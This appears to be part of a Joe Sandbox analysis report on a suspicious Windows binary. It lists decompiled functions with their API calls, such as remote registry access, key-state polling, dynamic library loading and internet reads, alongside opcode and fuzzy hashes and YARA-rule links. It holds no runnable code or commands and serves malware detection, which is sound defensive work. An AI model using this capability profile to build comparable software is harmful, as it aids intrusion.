Opcode ID: e637c0df819fa3b246ae6b7577ed1991500aecfc9b1b03ff3c94a6de430ebb15
Instruction ID: 16ec2b521cbb9d9b074a17839d9a492f29ff41638db3ba555b4f51b253270d3a
Opcode Fuzzy Hash: e637c0df819fa3b246ae6b7577ed1991500aecfc9b1b03ff3c94a6de430ebb15
Instruction Fuzzy Hash: 0BB15D72D01119ABDF21DBA4CD85EDEBBBDEF09350F1040E6FA09E7141EA309A488F61

Function 00B6A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00B6A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00B6A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00B6A468
CloseHandle.KERNEL32(?), ref: 00B6A63D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: b1b75261d5c4ad8e63e90117675c65b2e70f63d7480b14f944b3975e28d62ddf
Instruction ID: f83bf072db379c5ab1a0ddb97727bb12e759f338b410c4115ee41be04b919854
Opcode Fuzzy Hash: b1b75261d5c4ad8e63e90117675c65b2e70f63d7480b14f944b3975e28d62ddf
Instruction Fuzzy Hash: 4CA1AF71604300AFDB20DF24C986F2AB7E5EF84714F14885DF59A9B392DBB4EC418B92

Function 00B4E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B4CF22,?), ref: 00B4DDFD

Part of subcall function 00B4DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B4CF22,?), ref: 00B4DE16

Part of subcall function 00B4E199: GetFileAttributesW.KERNEL32(?,00B4CF95), ref: 00B4E19A

lstrcmpiW.KERNEL32(?,?), ref: 00B4E473
MoveFileW.KERNEL32(?,?), ref: 00B4E4AC
_wcslen.LIBCMT ref: 00B4E5EB
_wcslen.LIBCMT ref: 00B4E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00B4E650

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 5f60f180f7a67c532a3d40d49fcf56c7cd4cf16d2e19377197a763e72d492648
Instruction ID: be56b6a54dd7e37112dbc3c41a25abb47be8053e88f534ad6c1e29012bc57fd6
Opcode Fuzzy Hash: 5f60f180f7a67c532a3d40d49fcf56c7cd4cf16d2e19377197a763e72d492648
Instruction Fuzzy Hash: 855161B24083859FC724EB90D8819DFB7ECAF84340F00496EF599D3191EF74E6888B66

Function 00B6B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6B6AE,?,?), ref: 00B6C9B5
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6C9F1
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA68
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B6BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00B6BB63
RegCloseKey.ADVAPI32(?,?), ref: 00B6BBA6
RegCloseKey.ADVAPI32(00000000), ref: 00B6BBB3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: c53833200424beac6a8f34d4fe3c689d617a80ed0ca21799a7534399d781439e
Instruction ID: 5f37ec1217981a23dcb3dcab984c9964a38b9d279cf543d4db270087be95caa8
Opcode Fuzzy Hash: c53833200424beac6a8f34d4fe3c689d617a80ed0ca21799a7534399d781439e
Instruction Fuzzy Hash: 95619231208241AFD714DF54C590E2ABBF5FF84308F54859CF4998B2A2DB35ED85CB92

Function 00B48BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B48BCD
VariantClear.OLEAUT32 ref: 00B48C3E
VariantClear.OLEAUT32 ref: 00B48C9D
VariantClear.OLEAUT32(?), ref: 00B48D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00B48D3B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 53b6691be7faad4c5043501b191ea0abda759d0198028343d6f8049ec5475ffe
Instruction ID: 1e09f15afa371ee6518cf77b38334a18fad486113f188242482e15db4bd0b8e5
Opcode Fuzzy Hash: 53b6691be7faad4c5043501b191ea0abda759d0198028343d6f8049ec5475ffe
Instruction Fuzzy Hash: B5515CB5A01219EFCB14CF58C894AAABBF5FF89314B15856DE909DB350E730EA11CF90

Function 00B58AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00B58BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00B58BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00B58C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00B58C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00B58C5F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 2bcc14338780f004f0fcf1218d3574d11a8fad86a3ebbdf54c7bf9a75bbd0ee1
Instruction ID: 60f63c17175c966b9f4453430417c55cf1fadf65623dae1838195a9b21933e6e
Opcode Fuzzy Hash: 2bcc14338780f004f0fcf1218d3574d11a8fad86a3ebbdf54c7bf9a75bbd0ee1
Instruction Fuzzy Hash: 45516D35A006189FCB01DF65C981E6DBBF5FF48314F088498E84AAB362DB31ED55CBA0

Function 00B68EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00B68F40
GetProcAddress.KERNEL32(00000000,?), ref: 00B68FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00B68FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00B69032
FreeLibrary.KERNEL32(00000000), ref: 00B69052

Part of subcall function 00AFF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00B51043,?,753CE610), ref: 00AFF6E6
Part of subcall function 00AFF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00B3FA64,00000000,00000000,?,?,00B51043,?,753CE610,?,00B3FA64), ref: 00AFF70D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 68415975e90b74cee1feb4c2884e398edded22600bb7e7137dbbe3f7bc460cf5
Instruction ID: e38f4a5c0ccec425171aaafb543b291b006ffeada1d7c61174c168022c35d109
Opcode Fuzzy Hash: 68415975e90b74cee1feb4c2884e398edded22600bb7e7137dbbe3f7bc460cf5
Instruction Fuzzy Hash: 50515A35604245DFCB11DF68C5948ADBBF1FF49324F0481A8E90AAB362DB35ED86CB90

Function 00B76B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00B76C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00B76C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00B76C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00B5AB79,00000000,00000000), ref: 00B76C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00B76CC7

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 8f44c8af426d1d11af798789ff2d52d33448d2ac9b70253703aef3818b4aed17
Instruction ID: 3e3cac0e9de452231e1e1eb446a94ecbc78b0c7bd358bc64cdaeb4820eb30601
Opcode Fuzzy Hash: 8f44c8af426d1d11af798789ff2d52d33448d2ac9b70253703aef3818b4aed17
Instruction Fuzzy Hash: 0D419235A04504AFD725CF38CD99FA97BE5EB09350F1582A8F8ADA72E0C771EE41CA50

Function 00B12051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B120C3
_free.LIBCMT ref: 00B120E3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a6dfe5a0c0be3387a662a54be94ad3d1ed80084ceab0f6090b17f5f2d20d4174
Instruction ID: 6c684682026da54f906484627272da9035f20cd8fd5791321153079ae0802158
Opcode Fuzzy Hash: a6dfe5a0c0be3387a662a54be94ad3d1ed80084ceab0f6090b17f5f2d20d4174
Instruction Fuzzy Hash: A4411632A00204AFCB24DF78C981A9DB7F5EF89310F5545A9E615EB391DB31ED61CB80

Function 00AF912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00AF9141
ScreenToClient.USER32(00000000,?), ref: 00AF915E
GetAsyncKeyState.USER32(00000001), ref: 00AF9183
GetAsyncKeyState.USER32(00000002), ref: 00AF919D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: d7dc520121f265b5df98bba6ef88716a1a7d07c9529c79268c8649430e1abed2
Instruction ID: 47261e1e44cf17bba06f3dfa554459510ca00f83bf1685c4288f0a6a01ba4768
Opcode Fuzzy Hash: d7dc520121f265b5df98bba6ef88716a1a7d07c9529c79268c8649430e1abed2
Instruction Fuzzy Hash: 3D415F7190850AFBDF159FA4C844BFEB7B4FB05324F208369F569A3290CB306990CB91

Function 00B53874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00B538CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00B53922
TranslateMessage.USER32(?), ref: 00B5394B
DispatchMessageW.USER32(?), ref: 00B53955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B53966

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 52f2eff26df39ccaa100773b6037c40e80d69d0b0e930edfce45fe4a39cff8c6
Instruction ID: 41ac40f569ef479b601770b29c9ef399a58c21498d557054bb4a67885bf16a55
Opcode Fuzzy Hash: 52f2eff26df39ccaa100773b6037c40e80d69d0b0e930edfce45fe4a39cff8c6
Instruction Fuzzy Hash: A331EAB05043459FEB35CB349859BB637E4EB15782F4405DDE85783290EBF49A89CB21

Function 00B5CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 00B5CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00B5CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00B5C21E,00000000), ref: 00B5CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00B5C21E,00000000), ref: 00B5CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00B5C21E,00000000), ref: 00B5CFF2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 9a24d33ca75b6a8099127f39be95891059cdc971ad695651ca09d3dcdddecc42
Instruction ID: f141573422d4b18a814b42d20dadb5802a7d206a3e0accb6f5c9e5e98d1303d1
Opcode Fuzzy Hash: 9a24d33ca75b6a8099127f39be95891059cdc971ad695651ca09d3dcdddecc42
Instruction Fuzzy Hash: CA317F71600305AFDB24DFA5C884AABBFFAEF14316B1044AEF90AD3141DB30AD489B60

Function 00B41901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B41915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00B419C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00B419C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00B419DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00B419E2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 1b99784b6bfc0787364a3dfe64c56ab764c4a391bfb68b6e7b3422f394cf6a0d
Instruction ID: 9c8dfa99d2c26750464885f39c4667c888f5b0d9a5cccc56cc17f414035cd6e5
Opcode Fuzzy Hash: 1b99784b6bfc0787364a3dfe64c56ab764c4a391bfb68b6e7b3422f394cf6a0d
Instruction Fuzzy Hash: A531C271A00219EFCB04CFACCD99ADE3BB5EB44315F104669F925A72D1C7709A85DB90

Function 00B75706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B75745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00B7579D
_wcslen.LIBCMT ref: 00B757AF
_wcslen.LIBCMT ref: 00B757BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B75816

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 8763153fcc5494574df690e2d79494f3b666fb18cfa59caaba4037ccca8f663f
Instruction ID: 6e0d5eafd0ea69b0bcbb7283c899149e6a3e9dc94ddc4e8f12dee154dea9b0ba
Opcode Fuzzy Hash: 8763153fcc5494574df690e2d79494f3b666fb18cfa59caaba4037ccca8f663f
Instruction Fuzzy Hash: 432121759046189ADB209F64CC85AEE7BF8FF44724F10829AEA2DAB1C4D7B09985CF50

Function 00B60930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00B60951
GetForegroundWindow.USER32 ref: 00B60968
GetDC.USER32(00000000), ref: 00B609A4
GetPixel.GDI32(00000000,?,00000003), ref: 00B609B0
ReleaseDC.USER32(00000000,00000003), ref: 00B609E8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 304365a39c7699139a0ebbf8861c70576f867ff2628b7e9131a120cdc797e6b6
Instruction ID: c8daa420a35172d7387490288a477713ae1ad29100677fa45532ac8ee41d7568
Opcode Fuzzy Hash: 304365a39c7699139a0ebbf8861c70576f867ff2628b7e9131a120cdc797e6b6
Instruction Fuzzy Hash: B4218135610204AFD704EF69D989AAFBBE5EF48701F0484BCE94AA7752DB70ED44CB50

Function 00B1CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B1CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B1CDE9

Part of subcall function 00B13820: RtlAllocateHeap.NTDLL(00000000,?,00BB1444,?,00AFFDF5,?,?,00AEA976,00000010,00BB1440,00AE13FC,?,00AE13C6,?,00AE1129), ref: 00B13852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00B1CE0F
_free.LIBCMT ref: 00B1CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B1CE31

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: ea7f20c7486f472a645e5791088872566c453d2c94fee0b9af58e8f8f6b3d544
Instruction ID: 255358608a0a11c93f9757df398d838da6ec17d34766ab5b2be74c87a97fd7e1
Opcode Fuzzy Hash: ea7f20c7486f472a645e5791088872566c453d2c94fee0b9af58e8f8f6b3d544
Instruction Fuzzy Hash: E701D4736412157F23211ABA6C88CBF6EEDDFC6BA139501ADF909D7200EE609D8182B0

Function 00AF9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00AF9693
SelectObject.GDI32(?,00000000), ref: 00AF96A2
BeginPath.GDI32(?), ref: 00AF96B9
SelectObject.GDI32(?,00000000), ref: 00AF96E2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 46ba3a8eacee02c6203bd505eb5c630b4a3003364cca19597e3ce638c3345786
Instruction ID: d7a073612322cb9c9447402785efb20242c3aaf28318bdfff669eb0e28afb21f
Opcode Fuzzy Hash: 46ba3a8eacee02c6203bd505eb5c630b4a3003364cca19597e3ce638c3345786
Instruction Fuzzy Hash: E7218370801349EBDB119FA8DC247BA7BB4BB00315F90071AF554E71B0DBB09892CFA4

Function 00B45711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00B45726
_memcmp.LIBVCRUNTIME ref: 00B45744
_memcmp.LIBVCRUNTIME ref: 00B45757
_memcmp.LIBVCRUNTIME ref: 00B4576F
